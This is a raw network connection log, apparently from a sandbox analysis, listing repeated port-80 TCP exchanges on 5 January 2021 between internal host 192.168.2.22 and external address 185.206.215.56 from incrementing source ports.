Jan 5, 2021 19:06:35.335535049 CET	80	49237	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.335705996 CET	49237	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.342015982 CET	49237	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.417651892 CET	80	49237	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.417776108 CET	49237	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.495666981 CET	80	49237	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.512182951 CET	80	49237	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.512237072 CET	80	49237	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.512424946 CET	49237	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.512470961 CET	49237	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.561357975 CET	80	49237	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.671304941 CET	49238	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.720076084 CET	80	49238	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.720308065 CET	49238	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.726449013 CET	49238	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.792886019 CET	80	49238	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.793070078 CET	49238	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.857702971 CET	80	49238	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.894052029 CET	80	49238	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.894095898 CET	80	49238	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:35.894345999 CET	49238	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.894401073 CET	49238	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:35.942869902 CET	80	49238	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.046421051 CET	49239	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.095767021 CET	80	49239	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.095952034 CET	49239	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.098104954 CET	49239	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.168026924 CET	80	49239	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.168203115 CET	49239	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.237428904 CET	80	49239	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.277201891 CET	80	49239	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.277349949 CET	80	49239	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.277405024 CET	49239	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.277458906 CET	49239	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.326417923 CET	80	49239	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.436160088 CET	49240	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.484998941 CET	80	49240	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.485109091 CET	49240	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.491085052 CET	49240	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.558484077 CET	80	49240	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.558549881 CET	49240	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.637331963 CET	80	49240	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.657366991 CET	80	49240	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.657476902 CET	80	49240	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.657660007 CET	49240	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.657757044 CET	49240	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.706377029 CET	80	49240	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.824867010 CET	49241	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.873641014 CET	80	49241	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.873811007 CET	49241	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.879807949 CET	49241	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:36.949146986 CET	80	49241	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:36.949330091 CET	49241	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.027307987 CET	80	49241	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.043514013 CET	80	49241	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.043555021 CET	80	49241	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.043862104 CET	49241	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.043937922 CET	49241	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.092648983 CET	80	49241	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.200903893 CET	49242	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.249838114 CET	80	49242	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.250041008 CET	49242	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.256016970 CET	49242	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.324325085 CET	80	49242	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.324479103 CET	49242	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.402715921 CET	80	49242	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.425204039 CET	80	49242	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.425246954 CET	80	49242	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.425538063 CET	49242	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.425585985 CET	49242	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.474317074 CET	80	49242	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.580436945 CET	49243	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.628993988 CET	80	49243	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.629160881 CET	49243	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.635343075 CET	49243	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.714651108 CET	80	49243	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.714823008 CET	49243	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.792799950 CET	80	49243	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.804227114 CET	80	49243	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.804277897 CET	80	49243	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.804418087 CET	49243	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.804469109 CET	49243	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:37.853105068 CET	80	49243	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:37.965039015 CET	49244	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.013818026 CET	80	49244	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.014003992 CET	49244	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.018240929 CET	49244	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.089591980 CET	80	49244	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.089756966 CET	49244	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.167916059 CET	80	49244	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.186780930 CET	80	49244	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.186820984 CET	80	49244	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.187225103 CET	49244	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.187292099 CET	49244	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.236752987 CET	80	49244	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.337766886 CET	49245	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.386403084 CET	80	49245	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.386485100 CET	49245	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.389239073 CET	49245	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.464524031 CET	80	49245	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.464616060 CET	49245	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.542912960 CET	80	49245	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.563167095 CET	80	49245	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.563209057 CET	80	49245	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.563286066 CET	49245	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.563321114 CET	49245	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.612088919 CET	80	49245	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.729984045 CET	49246	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.778599977 CET	80	49246	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.778722048 CET	49246	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.784643888 CET	49246	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.870677948 CET	80	49246	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.870753050 CET	49246	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.948832989 CET	80	49246	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.965107918 CET	80	49246	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.965148926 CET	80	49246	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:38.965380907 CET	49246	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:38.966001034 CET	49246	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.014416933 CET	80	49246	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.124248028 CET	49247	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.172943115 CET	80	49247	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.173037052 CET	49247	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.177875996 CET	49247	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.246294022 CET	80	49247	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.246382952 CET	49247	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.324137926 CET	80	49247	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.331864119 CET	80	49247	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.331904888 CET	80	49247	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.332067966 CET	49247	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.332120895 CET	49247	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.382282019 CET	80	49247	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.498545885 CET	49248	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.547383070 CET	80	49248	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.547493935 CET	49248	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.554968119 CET	49248	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.636290073 CET	80	49248	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.636351109 CET	49248	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.715827942 CET	80	49248	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.738313913 CET	80	49248	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.738375902 CET	80	49248	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.738495111 CET	49248	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.738605022 CET	49248	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.786962032 CET	80	49248	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.889173985 CET	49249	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.937952995 CET	80	49249	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:39.938103914 CET	49249	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:39.944185019 CET	49249	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.027139902 CET	80	49249	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.027277946 CET	49249	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.105262995 CET	80	49249	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.121556044 CET	80	49249	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.121850967 CET	80	49249	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.121968031 CET	49249	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.122011900 CET	49249	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.170561075 CET	80	49249	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.280670881 CET	49250	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.329613924 CET	80	49250	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.329730034 CET	49250	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.335809946 CET	49250	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.418514967 CET	80	49250	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.418672085 CET	49250	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.496155977 CET	80	49250	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.507894039 CET	80	49250	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.507934093 CET	80	49250	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.508235931 CET	49250	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.508317947 CET	49250	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.557487011 CET	80	49250	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.662888050 CET	49251	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.711922884 CET	80	49251	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.712085962 CET	49251	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.714092016 CET	49251	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.792831898 CET	80	49251	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.792989016 CET	49251	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.856208086 CET	80	49251	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.893522978 CET	80	49251	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.893565893 CET	80	49251	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:40.893944979 CET	49251	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.894012928 CET	49251	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:40.942554951 CET	80	49251	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.054687023 CET	49252	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.103615999 CET	80	49252	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.103795052 CET	49252	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.109833956 CET	49252	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.183305979 CET	80	49252	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.183476925 CET	49252	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.245961905 CET	80	49252	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.281018019 CET	80	49252	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.281059980 CET	80	49252	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.281366110 CET	49252	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.281433105 CET	49252	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.330220938 CET	80	49252	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.433440924 CET	49253	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.482084990 CET	80	49253	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.482330084 CET	49253	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.488492012 CET	49253	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.558432102 CET	80	49253	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.558628082 CET	49253	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.639712095 CET	80	49253	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.665958881 CET	80	49253	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.666012049 CET	80	49253	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.666327953 CET	49253	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.666376114 CET	49253	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.716463089 CET	80	49253	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.820117950 CET	49254	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.869085073 CET	80	49254	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.869227886 CET	49254	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.875312090 CET	49254	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:41.948863983 CET	80	49254	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:41.949035883 CET	49254	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.027000904 CET	80	49254	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.043814898 CET	80	49254	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.043857098 CET	80	49254	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.044260979 CET	49254	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.044329882 CET	49254	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.092884064 CET	80	49254	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.213572025 CET	49255	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.262415886 CET	80	49255	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.262517929 CET	49255	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.266644955 CET	49255	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.339725971 CET	80	49255	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.339826107 CET	49255	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.417700052 CET	80	49255	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.432653904 CET	80	49255	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.432697058 CET	80	49255	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.432959080 CET	49255	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.432997942 CET	49255	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.481570005 CET	80	49255	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.583861113 CET	49256	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.632807970 CET	80	49256	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.632940054 CET	49256	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.638994932 CET	49256	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.714731932 CET	80	49256	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.714842081 CET	49256	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.792805910 CET	80	49256	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.805691004 CET	80	49256	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.805737019 CET	80	49256	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.805823088 CET	49256	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.805880070 CET	49256	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:42.854541063 CET	80	49256	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:42.958304882 CET	49257	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.007209063 CET	80	49257	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.007323027 CET	49257	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.011253119 CET	49257	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.074158907 CET	80	49257	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.074328899 CET	49257	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.152331114 CET	80	49257	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.168521881 CET	80	49257	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.168569088 CET	80	49257	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.168809891 CET	49257	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.170484066 CET	49257	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.219101906 CET	80	49257	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.317418098 CET	49258	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.366282940 CET	80	49258	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.366441011 CET	49258	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.372296095 CET	49258	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.433512926 CET	80	49258	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.433650970 CET	49258	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.497095108 CET	80	49258	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.526493073 CET	80	49258	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.526551008 CET	80	49258	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.526884079 CET	49258	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.526940107 CET	49258	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.575577021 CET	80	49258	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.700949907 CET	49259	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.750694036 CET	80	49259	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.750832081 CET	49259	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.756834984 CET	49259	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.824162960 CET	80	49259	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.824333906 CET	49259	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.902195930 CET	80	49259	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.913404942 CET	80	49259	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.913542986 CET	80	49259	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:43.913654089 CET	49259	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.913706064 CET	49259	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:43.962434053 CET	80	49259	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.065037012 CET	49260	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.114187956 CET	80	49260	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.114366055 CET	49260	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.120265961 CET	49260	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.183571100 CET	80	49260	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.183681965 CET	49260	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.261631966 CET	80	49260	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.276026011 CET	80	49260	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.276067972 CET	80	49260	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.276350021 CET	49260	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.276424885 CET	49260	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.325515032 CET	80	49260	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.430500984 CET	49261	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.479477882 CET	80	49261	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.479666948 CET	49261	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.485788107 CET	49261	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.558361053 CET	80	49261	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.558702946 CET	49261	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.636401892 CET	80	49261	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.652260065 CET	80	49261	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.652302027 CET	80	49261	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.652602911 CET	49261	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.652713060 CET	49261	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.701268911 CET	80	49261	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.823221922 CET	49262	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.871885061 CET	80	49262	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.872052908 CET	49262	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.876902103 CET	49262	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:44.948955059 CET	80	49262	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:44.949070930 CET	49262	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.027241945 CET	80	49262	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.053688049 CET	80	49262	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.053723097 CET	80	49262	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.053836107 CET	49262	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.053924084 CET	49262	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.102413893 CET	80	49262	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.206410885 CET	49263	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.257204056 CET	80	49263	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.257306099 CET	49263	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.261636972 CET	49263	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.324165106 CET	80	49263	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.324451923 CET	49263	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.396028996 CET	80	49263	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.422622919 CET	80	49263	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.422667027 CET	80	49263	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.422991991 CET	49263	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.423043013 CET	49263	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.473160028 CET	80	49263	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.578975916 CET	49264	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.627959967 CET	80	49264	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.628123045 CET	49264	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.633934021 CET	49264	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.699621916 CET	80	49264	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.699744940 CET	49264	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.777117968 CET	80	49264	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.789961100 CET	80	49264	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.790003061 CET	80	49264	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.790375948 CET	49264	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.790735006 CET	49264	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.839313030 CET	80	49264	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.941576004 CET	49265	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.990336895 CET	80	49265	185.206.215.56	192.168.2.22
Jan 5, 2021 19:06:45.990513086 CET	49265	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:45.996354103 CET	49265	80	192.168.2.22	185.206.215.56
Jan 5, 2021 19:06:46.074121952 CET	80	49265	185.206.215.56	192.168.2.22
